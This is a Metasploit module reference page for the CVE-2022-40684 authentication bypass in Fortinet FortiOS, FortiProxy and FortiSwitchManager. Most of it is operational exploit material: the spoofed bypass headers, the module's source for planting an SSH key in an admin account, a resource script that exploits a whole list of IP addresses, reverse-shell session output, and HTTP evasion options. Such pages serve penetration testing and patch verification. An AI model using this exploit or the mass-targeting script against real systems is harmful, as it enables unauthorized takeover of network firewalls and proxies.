Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass. - Metasploit
This page contains detailed information about how to use the exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684 metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.
Module: exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684
Source code: modules/exploits/linux/http/fortinet_authentication_bypass_cve_2022_40684.rb
Disclosure date: 2022-10-10
Last modification time: 2022-10-18 00:51:28 +0000
Supported architecture(s): cmd
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-40684
This module exploits an authentication bypass vulnerability in the Fortinet FortiOS, FortiProxy, and FortiSwitchManager API to gain access to a chosen account. And then add a SSH key to the authorized_keys file of the chosen account, allowing to login to the system with the chosen account. Successful exploitation results in remote code execution.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Using fortinet_authentication_bypass_cve_2022_40684 against a single host
Normally, you can use exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684 this way:
msf > use exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684
msf exploit(fortinet_authentication_bypass_cve_2022_40684) > show targets
... a list of targets ...
msf exploit(fortinet_authentication_bypass_cve_2022_40684) > set TARGET target-id
msf exploit(fortinet_authentication_bypass_cve_2022_40684) > show options
... show and set options ...
msf exploit(fortinet_authentication_bypass_cve_2022_40684) > exploit
Using fortinet_authentication_bypass_cve_2022_40684 against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your fortinet_authentication_bypass_cve_2022_40684 will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
An authentication bypass using an alternate path or channel vulnerability [CWE-288] in FortiOS (firewall) FortiProxy (web proxy), and FortiSwitch Manager products. The vulnerability allows remote, unauthenticated user to bypass authentication and gain access to the administrative interface of these products by using a specially crafted http/s request.
On October 3, 2022, Fortinet released a software update that addressed this vulnerability (CVE-2022-40684).
The following products are affected:
- FortiOS 7.0.0 to 7.0.6
- FortiOS 7.2.0 to 7.2.1
- FortiProxy 7.0.0 to 7.0.6
- FortiProxy 7.2.0
- FortiSwitchManager 7.0.0
- FortiSwitchManager 7.2.0
Exploitation
This module will abuse the authentication bypass vulnerability in the affected products to add a new ssh public key in the authorized keys of the target user (if no user is provied it'll try to detect it) and then connect over ssh to the target system (if no ssh private key is provided this module will automatically generate one).
To do so it will add the following header in all HTTP requests:
User-Agent: Report Runner
Forwarded: for="[127.0.0.1]:8888";by="[127.0.0.1]:8888"
This module doesn't intend to overwrite the ssh keys already configured in the target system, it intends to add a new key in the last slot, if it is available or overwriting it.
Even though the check
detects the system as vulnerable, it performs a further validation if the ssh port is open and will fail otherwise.
After a successful exploitation it will remove the just added key as a clean-up process. We assume it is the last key.
Verification Steps
Confirm that functionality works:
- Start
msfconsole
use exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684
- set
RHOSTS
- set
HttpTrace true
(optional) - set
SSH_DEBUG true
(optional) - set
VERBOSE true
(optional) exploit
- Confirm you have now a cmd session
Options
TARGETURI (required)
The path to the Fotigate API (Default: /
).
USERNAME (required)
The username of the targed user (Default: admin
).
PRIVATE_KEY (optional)
The path for the SSH private key to be used to authenticate. It must be in PEM format.
Example how to generate it:
ssh-keygen -t rsa -m PEM -f `openssl rand -hex 8`
KEY_PASS (optional)
The password for a given SSH private key (if it has one).
SSH_RPORT (required)
The SSH port to connnect to (Default: 22
)
Scenarios
vulnerable application version and OS
This module has been tested successfully on FortiGate v7.2.0.
msf6 exploit(linux/http/fortinet_authentication_bypass_cve_2022_40684) > exploit
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking XXX.XXX.XXX.XXX:443
[+] The target appears to be vulnerable. Target seems vulnerable
[*] Executing exploit on Interactive SSH
[*] Establishing SSH connection
[*] SSH session 1 opened (172.25.226.18:38791 -> XXX.XXX.XXX.XXX:22) at 2022-10-15 04:00:41 +0200
FW01 # get sys status
Version: FortiGate-100F v7.2.0,build1157,220331 (GA.F)
Firmware Signature: certified
Go back to menu.
Msfconsole Usage
Here is how the linux/http/fortinet_authentication_bypass_cve_2022_40684 exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684
[*] Using configured payload generic/ssh/interact
msf6 exploit(linux/http/fortinet_authentication_bypass_cve_2022_40684) > show info
Name: Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.
Module: exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684
Platform: Unix, Linux
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2022-10-10
Provided by:
Heyder Andrade <@HeyderAndrade>
Zach Hanley <@hacks_zach>
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 FortiOS
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
KEY_PASS no SSH private key password
PREFER_ADMIN true no Prefer to use the admin user if one is detected
PRIVATE_KEY no SSH private key file path
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SSH_RPORT 22 yes SSH port to connect to
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI /api/v2/cmdb/ yes The base path to the Fortinet CMDB API
USERNAME no Target username (Default: auto-detect)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits an authentication bypass vulnerability in the
Fortinet FortiOS, FortiProxy, and FortiSwitchManager API to gain
access to a chosen account. And then add a SSH key to the
authorized_keys file of the chosen account, allowing to login to the
system with the chosen account. Successful exploitation results in
remote code execution.
References:
https://nvd.nist.gov/vuln/detail/CVE-2022-40684
https://www.fortiguard.com/psirt/FG-IR-22-377
https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684
Module Options
This is a complete list of options available in the linux/http/fortinet_authentication_bypass_cve_2022_40684 exploit:
msf6 exploit(linux/http/fortinet_authentication_bypass_cve_2022_40684) > show options
Module options (exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684):
Name Current Setting Required Description
---- --------------- -------- -----------
KEY_PASS no SSH private key password
PREFER_ADMIN true no Prefer to use the admin user if one is detected
PRIVATE_KEY no SSH private key file path
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SSH_RPORT 22 yes SSH port to connect to
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI /api/v2/cmdb/ yes The base path to the Fortinet CMDB API
USERNAME no Target username (Default: auto-detect)
VHOST no HTTP server virtual host
Payload options (generic/ssh/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 FortiOS
Advanced Options
Here is a complete list of advanced options supported by the linux/http/fortinet_authentication_bypass_cve_2022_40684 exploit:
msf6 exploit(linux/http/fortinet_authentication_bypass_cve_2022_40684) > show advanced
Module advanced options (exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS serve
rs
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSH_DEBUG false no Enable output of SSH protocol debugging information
SSH_IDENT SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 yes SSH client identification string
SSH_TIMEOUT 10 no Maximum SSH negotiation/authentication time in seconds
SSLServerNameIndication no SSL/TLS Server Name Indication (SNI)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate
) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/5.0 (iPad; CPU OS 15_3_1 like Mac OS no The User-Agent header to use for all requests
X) AppleWebKit/605.1.15 (KHTML, like Gecko)
Version/15.2 Mobile/15E148 Safari/604.1
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (generic/ssh/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/fortinet_authentication_bypass_cve_2022_40684 module can exploit:
msf6 exploit(linux/http/fortinet_authentication_bypass_cve_2022_40684) > show targets
Exploit targets:
Id Name
-- ----
0 FortiOS
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/fortinet_authentication_bypass_cve_2022_40684 exploit:
msf6 exploit(linux/http/fortinet_authentication_bypass_cve_2022_40684) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/ssh/interact normal No Interact with Established SSH Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/fortinet_authentication_bypass_cve_2022_40684 exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/fortinet_authentication_bypass_cve_2022_40684) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::shuffle_get_params false no Randomize order of GET parameters
HTTP::shuffle_post_params false no Randomize order of POST parameters
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-r
andom)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Target did not respond to check.
- Target seems not affected by this vulnerability.
- However SSH is not open, so adding a ssh key wouldn give you access to the host.
- And SSH is running which makes it exploitable.
- PREFER_ADMIN is <PREFER_ADMIN>, we will get a random that is not the admin.
- Failed to add SSH key to authorized_keys file.
- Unexpected reponse from the server after adding the key.
- Failed read current SSH keys
- Disconnected during negotiation
- Timed out during negotiation
- Failed authentication
- SSH Error: <E.CLASS> : <E.MESSAGE>
- Failed to start SSH socket
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Target did not respond to check.
Here is a relevant code snippet related to the "Target did not respond to check." error message:
144: 'method' => 'GET',
145: 'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),
146: 'ctype' => 'application/json'
147: })
148:
149: return CheckCode::Unknown('Target did not respond to check.') unless res
150: return CheckCode::Safe('Target seems not affected by this vulnerability.') unless res.code == 401
151:
152: # Trying to bypasss the authentication and get the sshkey from the current targeted user it should return a 200 if vulnerable
153: res = fortinet_request({
154: 'method' => 'GET',
Target seems not affected by this vulnerability.
Here is a relevant code snippet related to the "Target seems not affected by this vulnerability." error message:
145: 'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),
146: 'ctype' => 'application/json'
147: })
148:
149: return CheckCode::Unknown('Target did not respond to check.') unless res
150: return CheckCode::Safe('Target seems not affected by this vulnerability.') unless res.code == 401
151:
152: # Trying to bypasss the authentication and get the sshkey from the current targeted user it should return a 200 if vulnerable
153: res = fortinet_request({
154: 'method' => 'GET',
155: 'uri' => normalize_uri(target_uri.path, '/system/status')
However SSH is not open, so adding a ssh key wouldn give you access to the host.
Here is a relevant code snippet related to the "However SSH is not open, so adding a ssh key wouldn give you access to the host." error message:
159:
160: version = res.get_json_document['version']
161:
162: print_good("Target is running the version #{version}, which is vulnerable.")
163:
164: Socket.tcp(rhost, ssh_rport, connect_timeout: datastore['SSH_TIMEOUT']) { |sock| return CheckCode::Safe('However SSH is not open, so adding a ssh key wouldn\t give you access to the host.') unless sock }
165:
166: CheckCode::Vulnerable('And SSH is running which makes it exploitable.')
167: end
168:
169: def cleanup
And SSH is running which makes it exploitable.
Here is a relevant code snippet related to the "And SSH is running which makes it exploitable." error message:
161:
162: print_good("Target is running the version #{version}, which is vulnerable.")
163:
164: Socket.tcp(rhost, ssh_rport, connect_timeout: datastore['SSH_TIMEOUT']) { |sock| return CheckCode::Safe('However SSH is not open, so adding a ssh key wouldn\t give you access to the host.') unless sock }
165:
166: CheckCode::Vulnerable('And SSH is running which makes it exploitable.')
167: end
168:
169: def cleanup
170: return unless ssh_socket
171:
PREFER_ADMIN is <PREFER_ADMIN>, we will get a random that is not the admin.
Here is a relevant code snippet related to the "PREFER_ADMIN is <PREFER_ADMIN>, we will get a random that is not the admin." error message:
191: # we prefer to use admin, but if it doesn't exist we chose a random one.
192: if datastore['PREFER_ADMIN']
193: vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, but if it isn't found we will pick a random one.")
194: users.include?('admin') ? 'admin' : users.sample
195: else
196: vprint_status("PREFER_ADMIN is #{datastore['PREFER_ADMIN']}, we will get a random that is not the admin.")
197: (users - ['admin']).sample
198: end
199: end
200:
201: def add_ssh_key
Failed to add SSH key to authorized_keys file.
Here is a relevant code snippet related to the "Failed to add SSH key to authorized_keys file." error message:
212: res = fortinet_request({
213: 'method' => 'PUT',
214: 'uri' => normalize_uri(target_uri.path, '/system/admin/', username),
215: 'data' => data.to_json
216: })
217: fail_with(Failure::UnexpectedReply, 'Failed to add SSH key to authorized_keys file.') unless res&.code == 500
218: body = res.get_json_document
219: fail_with(Failure::UnexpectedReply, 'Unexpected reponse from the server after adding the key.') unless body.key?('cli_error') && body['cli_error'] =~ /SSH key is good/
220: end
221:
222: def read_keys
Unexpected reponse from the server after adding the key.
Here is a relevant code snippet related to the "Unexpected reponse from the server after adding the key." error message:
214: 'uri' => normalize_uri(target_uri.path, '/system/admin/', username),
215: 'data' => data.to_json
216: })
217: fail_with(Failure::UnexpectedReply, 'Failed to add SSH key to authorized_keys file.') unless res&.code == 500
218: body = res.get_json_document
219: fail_with(Failure::UnexpectedReply, 'Unexpected reponse from the server after adding the key.') unless body.key?('cli_error') && body['cli_error'] =~ /SSH key is good/
220: end
221:
222: def read_keys
223: vprint_status('Reading SSH key from authorized_keys file')
224: res = fortinet_request({
Failed read current SSH keys
Here is a relevant code snippet related to the "Failed read current SSH keys" error message:
223: vprint_status('Reading SSH key from authorized_keys file')
224: res = fortinet_request({
225: 'method' => 'GET',
226: 'uri' => normalize_uri(target_uri.path, '/system/admin/', username)
227: })
228: fail_with(Failure::UnexpectedReply, 'Failed read current SSH keys') unless res&.code == 200
229: result = res.get_json_document['results'].first
230: ['ssh-public-key1', 'ssh-public-key2', 'ssh-public-key3'].map do |key|
231: result[key].gsub('"', '') unless result[key].empty?
232: end.compact
233: end
Disconnected during negotiation
Here is a relevant code snippet related to the "Disconnected during negotiation" error message:
238: begin
239: ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
240: self.ssh_socket = Net::SSH.start(rhost, username, ssh_options)
241: end
242: rescue Rex::ConnectionError
243: fail_with(Failure::Unreachable, 'Disconnected during negotiation')
244: rescue Net::SSH::Disconnect, ::EOFError
245: fail_with(Failure::Disconnected, 'Timed out during negotiation')
246: rescue Net::SSH::AuthenticationFailed
247: fail_with(Failure::NoAccess, 'Failed authentication')
248: rescue Net::SSH::Exception => e
Timed out during negotiation
Here is a relevant code snippet related to the "Timed out during negotiation" error message:
240: self.ssh_socket = Net::SSH.start(rhost, username, ssh_options)
241: end
242: rescue Rex::ConnectionError
243: fail_with(Failure::Unreachable, 'Disconnected during negotiation')
244: rescue Net::SSH::Disconnect, ::EOFError
245: fail_with(Failure::Disconnected, 'Timed out during negotiation')
246: rescue Net::SSH::AuthenticationFailed
247: fail_with(Failure::NoAccess, 'Failed authentication')
248: rescue Net::SSH::Exception => e
249: fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
250: end
Failed authentication
Here is a relevant code snippet related to the "Failed authentication" error message:
242: rescue Rex::ConnectionError
243: fail_with(Failure::Unreachable, 'Disconnected during negotiation')
244: rescue Net::SSH::Disconnect, ::EOFError
245: fail_with(Failure::Disconnected, 'Timed out during negotiation')
246: rescue Net::SSH::AuthenticationFailed
247: fail_with(Failure::NoAccess, 'Failed authentication')
248: rescue Net::SSH::Exception => e
249: fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
250: end
251:
252: fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
SSH Error: <E.CLASS> : <E.MESSAGE>
Here is a relevant code snippet related to the "SSH Error: <E.CLASS> : <E.MESSAGE>" error message:
244: rescue Net::SSH::Disconnect, ::EOFError
245: fail_with(Failure::Disconnected, 'Timed out during negotiation')
246: rescue Net::SSH::AuthenticationFailed
247: fail_with(Failure::NoAccess, 'Failed authentication')
248: rescue Net::SSH::Exception => e
249: fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
250: end
251:
252: fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
253: end
254:
Failed to start SSH socket
Here is a relevant code snippet related to the "Failed to start SSH socket" error message:
247: fail_with(Failure::NoAccess, 'Failed authentication')
248: rescue Net::SSH::Exception => e
249: fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
250: end
251:
252: fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
253: end
254:
255: def exploit
256: print_status("Executing exploit on #{datastore['RHOST']}:#{datastore['RPORT']} target user: #{username}")
257: add_ssh_key
Go back to menu.
Related Pull Requests
- #17225 Merged Pull Request: Update YARD documentation to use proper @return instead of @returns
- #17219 Merged Pull Request: Fix broken zabbix_login scanner regex for new versions
- #17220 Merged Pull Request: Fix pe inject payload crash
- #17196 Merged Pull Request: Msf::Post::Windows: Add Msf::Post::Windows::System mixin
- #17192 Merged Pull Request: Password Manager Pro password recovery post module
- #17213 Merged Pull Request: Update identify hash library and call
- #17207 Merged Pull Request: Add msfvenom / msfconsole support for Rust shellcode
- #17190 Merged Pull Request: Fix the Netapi32 bufptr data type
- #17174 Merged Pull Request: FLIR AX8 thermal camera unauthenticated RCE [CVE-2022-37061]
- #17142 Merged Pull Request: Apache CouchDB Erlang RCE module CVE-2022-24706
- #17168 Merged Pull Request: Add module for Webmin auth File Manager RCE (CVE-2022-0824)
References
- CVE-2022-40684
- https://www.fortiguard.com/psirt/FG-IR-22-377
- https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684
See Also
Check also the following modules related to this module:
- auxiliary/scanner/http/fortinet_ssl_vpn
- auxiliary/scanner/ssh/fortinet_backdoor
- exploit/linux/http/dlink_authentication_cgi_bof
- exploit/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection
- exploit/linux/http/cisco_rv_series_authbypass_and_rce
- exploit/linux/http/pineapple_bypass_cmdinject
- exploit/linux/http/unraid_auth_bypass_exec
- exploit/linux/http/apache_spark_rce_cve_2022_33891
- exploit/linux/http/cve_2019_1663_cisco_rmi_rce
- exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
- exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
- exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061
- exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx
- exploit/linux/http/hikvision_cve_2021_36260_blind
- exploit/linux/http/sonicwall_cve_2021_20039
- exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144
- exploit/linux/http/vmware_workspace_one_access_cve_2022_22954
- exploit/linux/http/zimbra_cpio_cve_2022_41352
- exploit/linux/http/zimbra_mboximport_cve_2022_27925
- exploit/linux/http/zimbra_unrar_cve_2022_30333
- exploit/linux/local/polkit_dbus_auth_bypass
- exploit/linux/misc/asus_infosvr_auth_bypass_exec
- exploit/linux/fileformat/unrar_cve_2022_30333
- exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
- exploit/linux/local/cve_2021_3493_overlayfs
- exploit/linux/local/cve_2021_38648_omigod
- exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
- exploit/linux/local/cve_2022_0847_dirtypipe
- exploit/linux/local/cve_2022_0995_watch_queue
- exploit/linux/misc/cve_2020_13160_anydesk
- exploit/linux/misc/cve_2021_38647_omigod
Authors
- Heyder Andrade <@HeyderAndrade>
- Zach Hanley <@hacks_zach>
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.